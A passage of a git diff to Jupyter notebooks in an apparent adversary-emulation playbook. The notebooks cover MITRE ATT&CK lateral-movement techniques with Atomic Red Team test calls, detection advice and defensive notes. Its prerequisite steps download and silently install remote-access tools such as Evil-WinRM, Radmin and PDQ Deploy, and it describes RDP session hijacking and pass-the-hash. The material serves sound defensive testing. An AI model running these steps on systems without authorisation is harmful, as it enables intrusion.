"3cfbce60", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ca0d40a8", + "id": "97a10b0c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nDisable-PSRemoting -Force```" }, { "cell_type": "code", "execution_count": null, - "id": "e026d29b", + "id": "7fed62b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9a9d8beb", + "id": "1dec4eb5", "metadata": {}, - "source": "### Atomic Test #3 - WinRM Access with Evil-WinRM\nAn adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must have Ruby Installed\n##### Check Prereq Commands:\n```powershell\ntry {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:Temp\\rubyinstaller-2.7.1-1-x64.exe https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe\n$file1= $env:Temp + \"\\rubyinstaller-2.7.1-1-x64.exe\"\nStart-Process $file1 /S;\n```\n##### Description: Computer must have Evil-WinRM installed\n##### Check Prereq Commands:\n```powershell\ntry {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\ngem install evil-winrm\n```" + "source": "### Atomic Test #3 - WinRM Access with Evil-WinRM\nAn adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must have Ruby Installed\n##### Check Prereq Commands:\n```powershell\ntry {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubyinstaller-2.7.1-1-x64.exe\" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe\n$file1= \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubyinstaller-2.7.1-1-x64.exe\"\nStart-Process $file1 /S;\n```\n##### Description: Computer must have Evil-WinRM installed\n##### Check Prereq Commands:\n```powershell\ntry {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\ngem install evil-winrm\n```" }, { "cell_type": "code", "execution_count": null, - "id": "419ac15b", + "id": "bf0b980a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c27661fc", + "id": "f6772658", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -93,14 +93,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b8b3d075", + "id": "f283bfd2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1021.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9b03d833", + "id": "19645f43", "metadata": {}, "source": "## Detection\nMonitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS)." } @@ -108,13 +108,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1021.007.ipynb b/playbook/tactics/lateral-movement/T1021.007.ipynb new file mode 100644 index 00000000..69a24e91 --- /dev/null +++ b/playbook/tactics/lateral-movement/T1021.007.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "a10f0953", + "metadata": {}, + "source": "# T1021.007 - Cloud Services\nAdversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. " + }, + { + "cell_type": "markdown", + "id": "77acbcff", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1021.008.ipynb b/playbook/tactics/lateral-movement/T1021.008.ipynb new file mode 100644 index 00000000..6d9865b5 --- /dev/null +++ b/playbook/tactics/lateral-movement/T1021.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "e1dc735f", + "metadata": {}, + "source": "# T1021.008 - Direct Cloud VM Connections\nAdversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651))." + }, + { + "cell_type": "markdown", + "id": "3870067b", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1021.ipynb b/playbook/tactics/lateral-movement/T1021.ipynb index e48464f7..1082ce4a 100644 --- a/playbook/tactics/lateral-movement/T1021.ipynb +++ b/playbook/tactics/lateral-movement/T1021.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "02c03ab4", + "id": "6ab6d5b9", "metadata": {}, - "source": "# T1021 - Remote Services\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)" + "source": "# T1021 - Remote Services\nAdversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)" }, { "cell_type": "markdown", - "id": "f5ed359a", + "id": "dcb52cb7", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "510deb7e", + "id": "8423dcb6", "metadata": {}, "source": "## Detection\nCorrelate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)" }, { "cell_type": "markdown", - "id": "c6208e7c", + "id": "98347cd9", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1028.ipynb b/playbook/tactics/lateral-movement/T1028.ipynb deleted file mode 100644 index 17562950..00000000 --- a/playbook/tactics/lateral-movement/T1028.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bd7874e1", - "metadata": {}, - "source": "# T1028 - Windows Remote Management\nWindows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)" - }, - { - "cell_type": "markdown", - "id": "e65ae73b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "929dfd57", - "metadata": {}, - "source": "## Detection\nMonitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1051.ipynb b/playbook/tactics/lateral-movement/T1051.ipynb deleted file mode 100644 index b6a18c05..00000000 --- a/playbook/tactics/lateral-movement/T1051.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "31de3428", - "metadata": {}, - "source": "# T1051 - Shared Webroot\n**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)" - }, - { - "cell_type": "markdown", - "id": "29c847be", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1fc3b189", - "metadata": {}, - "source": "## Detection\nUse file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1072.ipynb b/playbook/tactics/lateral-movement/T1072.ipynb index 64abfefc..da9edeac 100644 --- a/playbook/tactics/lateral-movement/T1072.ipynb +++ b/playbook/tactics/lateral-movement/T1072.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "a88899a4", + "id": "1362f68a", "metadata": {}, - "source": "# T1072 - Software Deployment Tools\nAdversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose." + "source": "# T1072 - Software Deployment Tools\nAdversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). \n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. Network infrastructure may also have administration tools that can be similarly abused by adversaries. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose." }, { "cell_type": "markdown", - "id": "714fcc67", + "id": "cd739153", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a3da332c", + "id": "43bc34b4", "metadata": {}, - "source": "### Atomic Test #1 - Radmin Viewer Utility\nAn adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Radmin Viewer 3/Radmin.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading radmin installer\n(New-Object Net.WebClient).DownloadFile(\"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\",\"$ENV:Temp\\RadminViewer.msi\")\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , $ENV:Temp\\RadminViewer.msi, /qn\n\n```" + "source": "### Atomic Test #1 - Radmin Viewer Utility\nAn adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Radmin Viewer 3/Radmin.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading radmin installer\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\RadminViewer.msi\"\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , \"PathToAtomicsFolder\\..\\ExternalPayloads\\RadminViewer.msi\", /qn\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d6f84c39", + "id": "6b35186f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "576b01e7", + "id": "9f172846", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b21455ae", + "id": "529549cb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "69c183e2", + "id": "36d32c20", "metadata": {}, - "source": "### Atomic Test #2 - PDQ Deploy RAT\nAn adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading PDQ Deploy installer\n(New-Object Net.WebClient).DownloadFile(\"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\",\"$ENV:Temp\\PDQDeploysetup.exe\")\nWrite-Host Install PDQ Deploy\nStart-Process $ENV:Temp\\PDQDeploysetup.exe -Wait -ArgumentList \"/s\"\n\n```" + "source": "### Atomic Test #2 - PDQ Deploy RAT\nAn adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading PDQ Deploy installer\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PDQDeploysetup.exe\"\nWrite-Host Install PDQ Deploy\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\PDQDeploysetup.exe\" -Wait -ArgumentList \"/s\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6faf7fd9", + "id": "26aebbf6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "845f6830", + "id": "2de9b19b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,20 +69,20 @@ { "cell_type": "code", "execution_count": null, - "id": "30fd302b", + "id": "ccd807c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "60978f2e", + "id": "f7e5771e", "metadata": {}, "source": "## Detection\nDetection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system." }, { "cell_type": "markdown", - "id": "e448cd05", + "id": "64be9455", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can deploy a decoy software deployment tool within an adversary engagement environment to see how the adversary attempts to use the device during their activity.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -90,13 +90,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1075.ipynb b/playbook/tactics/lateral-movement/T1075.ipynb deleted file mode 100644 index bbc0f74b..00000000 --- a/playbook/tactics/lateral-movement/T1075.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7116d8cc", - "metadata": {}, - "source": "# T1075 - Pass the Hash\nPass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)" - }, - { - "cell_type": "markdown", - "id": "18aef2c9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "dceaee54", - "metadata": {}, - "source": "## Detection\nAudit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1076.ipynb b/playbook/tactics/lateral-movement/T1076.ipynb deleted file mode 100644 index 88c27244..00000000 --- a/playbook/tactics/lateral-movement/T1076.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0aabeb72", - "metadata": {}, - "source": "# T1076 - Remote Desktop Protocol\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)" - }, - { - "cell_type": "markdown", - "id": "6299c5f4", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0fcbc44f", - "metadata": {}, - "source": "## Detection\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1077.ipynb b/playbook/tactics/lateral-movement/T1077.ipynb deleted file mode 100644 index 3478ea28..00000000 --- a/playbook/tactics/lateral-movement/T1077.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "178ae7ce", - "metadata": {}, - "source": "# T1077 - Windows Admin Shares\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with 